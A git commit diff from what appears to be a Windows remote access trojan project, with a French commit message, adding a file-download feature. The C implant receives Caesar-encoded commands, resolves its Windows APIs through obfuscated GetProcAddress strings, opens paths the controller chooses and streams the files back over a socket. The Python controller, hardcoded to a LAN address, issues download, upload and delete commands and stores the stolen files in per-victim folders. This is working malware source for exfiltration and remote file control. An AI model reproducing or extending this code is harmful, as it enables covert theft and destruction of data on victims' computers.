download un/plusieurs fichier(s) fonctionne

manque download folder (itérer à travers les fichiers d'un dossier au lieu de zip ?), manque upload
This commit is contained in:
2023-02-19 10:58:03 +01:00
parent 10a98d02d4
commit 0889454150
7 changed files with 133 additions and 8 deletions

View File

@@ -89,8 +89,53 @@ char* get_file_list(const char* dirPath, int* numFiles) {
} }
void download_file() { int download_file(FILE* fp, SOCKET sock) {
char* data = (char*)Api.malloc(BUFFER_SIZE);
int bytes_read, bytes_sent;
// Send the contents of the file through the socket
while (1) {
bytes_read = Api.fread(data, 1, BUFFER_SIZE, fp);
if (bytes_read == 0) {
break;
}
char* ptr = data;
while (bytes_read > 0) {
bytes_sent = Api.send(sock, ptr, bytes_read, 0);
if (bytes_sent == SOCKET_ERROR) {
int error_code = Api.WSAGetLastError();
if (error_code == WSAEWOULDBLOCK) {
// If send would block, wait until the socket is writable
fd_set write_fds;
FD_ZERO(&write_fds);
FD_SET(sock, &write_fds);
if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) {
Api.free(data);
Api.fclose(fp);
Sleep_(Sleep_TIME);
return 0;
}
}
else {
Api.free(data);
Api.fclose(fp);
Sleep_(Sleep_TIME);
return 0;
}
}
else {
bytes_read -= bytes_sent;
ptr += bytes_sent;
}
}
}
Api.fclose(fp);
Api.free(data);
return 1;
} }
void download_folder() { void download_folder() {

View File

@@ -17,6 +17,6 @@ extern API Api;
int get_object_info(char* path, struct stat* fileinfo); int get_object_info(char* path, struct stat* fileinfo);
int get_drives_list(char* buf); int get_drives_list(char* buf);
char* get_file_list(const char* dirPath, int* numFiles); char* get_file_list(const char* dirPath, int* numFiles);
void download_file(); int download_file(FILE* fp, SOCKET sock);
void download_folder(); void download_folder();
void upload_file(); void upload_file();

View File

@@ -1,13 +1,12 @@
#include <Windows.h> #include <Windows.h>
#include <shlobj_core.h> #include <shlobj_core.h>
#include <wininet.h> #include <wininet.h>
#include <stdio.h>
#include "utils.h" #include "utils.h"
#include "config.h" #include "config.h"
#include "resolve_apis.h" #include "resolve_apis.h"
#include "file_explorer.h" #include "file_explorer.h"
#define Sleep_TIME 30
HANDLE g_hChildStd_IN_Rd = NULL; HANDLE g_hChildStd_IN_Rd = NULL;
HANDLE g_hChildStd_IN_Wr = NULL; HANDLE g_hChildStd_IN_Wr = NULL;
HANDLE g_hChildStd_OUT_Rd = NULL; HANDLE g_hChildStd_OUT_Rd = NULL;
@@ -320,7 +319,30 @@ retry:
} }
if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file if (Api.strncmp(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
char* path = (char*)Api.malloc(MAX_PATH);
//Receive a reply from the server
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.free(path);
Sleep_(Sleep_TIME);
goto retry;
}
FILE* fp = Api.fopen(CAESAR_DECRYPT(path), "rb");
Api.free(path);
if (fp == NULL)
{
Sleep_(Sleep_TIME);
goto retry;
}
if (download_file(fp, sock) == 0) {
Sleep_(Sleep_TIME);
goto retry;
}
} }
if (Api.strncmp(server_reply, "it|sqtfidinw", strlen("it|sqtfidinw")) == 0) { //download_dir if (Api.strncmp(server_reply, "it|sqtfidinw", strlen("it|sqtfidinw")) == 0) { //download_dir

View File

@@ -47,6 +47,9 @@ void InitApis() {
Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj")); Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj"));
Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj")); Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj"));
Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk")); Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk"));
Api.fopen = (Tfopen)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("ktujs"));
Api.fclose = (Tfclose)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("khqtxj"));
Api.fread = (Tfread)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjfi"));
hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq")); hWininet = LoadLibraryA(CAESAR_DECRYPT("|x7d873iqq"));
if (!hWininet) { if (!hWininet) {
@@ -62,6 +65,7 @@ void InitApis() {
Api.inet_addr = (Tinet_addr)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("nsjydfiiw")); Api.inet_addr = (Tinet_addr)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("nsjydfiiw"));
Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu")); Api.WSAStartup = (TWSAStartup)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFXyfwyzu"));
Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw")); Api.WSAGetLastError = (TWSAGetLastError)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("\\XFLjyQfxyJwwtw"));
Api.select = (Tselect)Api.GetProcAddress(hWininet, CAESAR_DECRYPT("xjqjhy"));
} }
void FreeApis() { void FreeApis() {

View File

@@ -15,6 +15,7 @@ typedef u_long(WINAPI* Tinet_addr)(const char*);
typedef SOCKET(WINAPI* Tsocket)(int, int, int); typedef SOCKET(WINAPI* Tsocket)(int, int, int);
typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA); typedef int(WINAPI* TWSAStartup)(WORD, LPWSADATA);
typedef int(WINAPI* TWSAGetLastError)(void); typedef int(WINAPI* TWSAGetLastError)(void);
typedef int(WINAPI* Tselect)(int, fd_set FAR*, fd_set FAR*, fd_set FAR*, const struct timeval FAR*);
typedef void* (WINAPI* Tmemset)(void*, int, size_t); typedef void* (WINAPI* Tmemset)(void*, int, size_t);
typedef void* (WINAPI* Tmalloc)(size_t); typedef void* (WINAPI* Tmalloc)(size_t);
@@ -31,6 +32,9 @@ typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t);
typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*); typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*);
typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*); typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*);
typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...); typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...);
typedef FILE* (WINAPI* Tfopen)(char const*, char const*);
typedef int(WINAPI* Tfclose)(FILE*);
typedef size_t(WINAPI* Tfread)(void*, size_t, size_t, FILE*);
typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); typedef BOOL(WINAPI* TReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED); typedef BOOL(WINAPI* TWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
@@ -58,6 +62,7 @@ typedef struct ApiList {
Tinet_addr inet_addr; Tinet_addr inet_addr;
TWSAStartup WSAStartup; TWSAStartup WSAStartup;
TWSAGetLastError WSAGetLastError; TWSAGetLastError WSAGetLastError;
Tselect select;
Tmemset memset; Tmemset memset;
Tmalloc malloc; Tmalloc malloc;
@@ -91,6 +96,9 @@ typedef struct ApiList {
Tlocaltime localtime; Tlocaltime localtime;
Tstrftime strftime; Tstrftime strftime;
T_snprintf _snprintf; T_snprintf _snprintf;
Tfopen fopen;
Tfclose fclose;
Tfread fread;
} API; } API;
void InitApis(); void InitApis();

View File

@@ -4,6 +4,8 @@
#include <time.h> #include <time.h>
#include "resolve_apis.h" #include "resolve_apis.h"
#define Sleep_TIME 30
char* CAESAR(char* in); char* CAESAR(char* in);
char* CAESAR_DECRYPT(char* in); char* CAESAR_DECRYPT(char* in);
void Sleep_(int time_to_wait); void Sleep_(int time_to_wait);

View File

@@ -5,10 +5,12 @@ from flask import Flask, request, send_file, render_template, send_from_director
from threading import Thread from threading import Thread
import os, sys, time import os, sys, time
import easygui import easygui
import errno
import select import select
import socket import socket
import logging import logging
import urllib.parse import urllib.parse
import select
import math import math
ADRESSE = "192.168.1.35"#socket.gethostname() ADRESSE = "192.168.1.35"#socket.gethostname()
@@ -92,7 +94,51 @@ def interact() :
match action : match action :
case "download" : case "download" :
print(files) for i in files :
path = path_file_ex_2 + i
if i in FILES_ :
#call download file
client.send(CAESAR("download_file\0").encode())
client.send(CAESAR(path + "\0").encode())
time.sleep(0.05)
addr = client.getpeername()[0]
addr = os.getcwd() + "\\" + addr.replace(".","_")
if not os.path.exists(addr):
os.makedirs(addr)
out_file = open(addr + "\\" + i, "wb")
while True:
try:
# Receive data from the socket
data = client.recv(4096)
if not data:
break
# Write the data to the file
out_file.write(data)
except socket.error as e:
if e.errno == errno.WSAEWOULDBLOCK:
# If recv would block, wait until the socket is readable
ready_to_read, _, _ = select.select([client], [], [], 1)
if not ready_to_read:
# If select timed out, try recv again
continue
else:
break
out_file.close()
time.sleep(0.05)
else :
#call download folder
client.send(CAESAR("download_dir\0").encode())
client.send(CAESAR(path + "\0").encode())
time.sleep(0.05)
case "upload" : case "upload" :
filename = easygui.fileopenbox() filename = easygui.fileopenbox()
@@ -110,8 +156,6 @@ def interact() :
client.send(CAESAR("del_file\0").encode()) client.send(CAESAR("del_file\0").encode())
client.send(CAESAR(path + "\0").encode()) client.send(CAESAR(path + "\0").encode())
time.sleep(0.05)
else : else :
#call remove folder #call remove folder
client.send(CAESAR("del_dir\0").encode()) client.send(CAESAR("del_dir\0").encode())